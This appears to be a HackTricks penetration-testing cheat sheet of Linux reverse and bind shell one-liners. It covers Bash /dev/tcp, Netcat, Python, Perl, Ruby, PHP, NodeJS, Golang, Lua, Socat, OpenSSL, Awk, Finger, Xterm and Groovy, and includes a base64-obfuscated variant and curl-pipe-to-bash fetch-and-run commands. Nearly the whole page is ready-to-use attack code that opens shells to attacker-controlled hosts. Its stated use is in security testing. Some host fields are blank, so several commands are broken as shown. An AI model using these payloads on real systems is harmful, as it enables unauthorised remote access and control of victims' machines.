# Shells - Linux

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Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** **If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) ## Full TTY **Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** ## Bash | sh ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP 0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196 exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; done #Short and bypass (credits to Dikline) (sh)0>/dev/tcp/10.10.10.10/9091 #after getting the previous shell to get the output to execute exec >&0 ``` Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. ### Symbol safe shell ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' #Stealthier method #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` #### Shell explanation 1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. 2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. 3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. * By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. 4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. ### Create in file and execute ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` ## Forward Shell You might find cases where you have an **RCE in a web app in a Linux machine** but due to Iptables rules or other kinds of filtering **you cannot get a reverse shell**. This "shell" allows you to maintain a PTY shell through that RCE using pipes inside the victim system.\ You can find the code in [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) You just need to modify: * The URL of the vulnerable host * The prefix and suffix of your payload (if any) * The way the payload is sent (headers? data? extra info?) Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). ## Netcat ```bash nc -e /bin/sh nc | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` ## gsocket Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` ## Telnet ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` ## Whois **Attacker** ```bash while true; do nc -l ; done ``` To send the command write it down, press enter and press CTRL+D (to stop STDIN) **Victim** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` ## Python ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` ## Perl ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## PHP ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' // Using 'proc_open' makes no assumptions about what the file descriptor will be. // See https://security.stackexchange.com/a/198944 for more information $sock, 1=>$sock, 2=>$sock), $pipes); ?> /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` ## Java ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ## Ncat ```bash victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl ```

Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Golang ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ## Lua ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## NodeJS ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8080, "10.17.26.64", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })(); or require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]') require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'") or -var x = global.process.mainModule.require -x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash') or // If you get to the constructor of a function you can define and execute another function inside a string "".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")() "".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")() or // Abuse this syntax to get a reverse shell var fs = this.process.binding('fs'); var fs = process.binding('fs'); or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` ## OpenSSL The Attacker (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` The Victim ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` ## Finger **Attacker** ```bash while true; do nc -l 79; done ``` To send the command write it down, press enter and press CTRL+D (to stop STDIN) **Victim** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` ## Gawk ```bash #!/usr/bin/gawk -f BEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } } ``` ## Xterm One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001. ```bash xterm -display 10.0.0.1:1 ``` To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system): ```bash Xnest :1 ``` You’ll need to authorise the target to connect to you (command also run on your host): ```bash xhost +targetip ``` ## Groovy by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` ## Bibliography {% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %} {% embed url="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell" %} {% embed url="https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}

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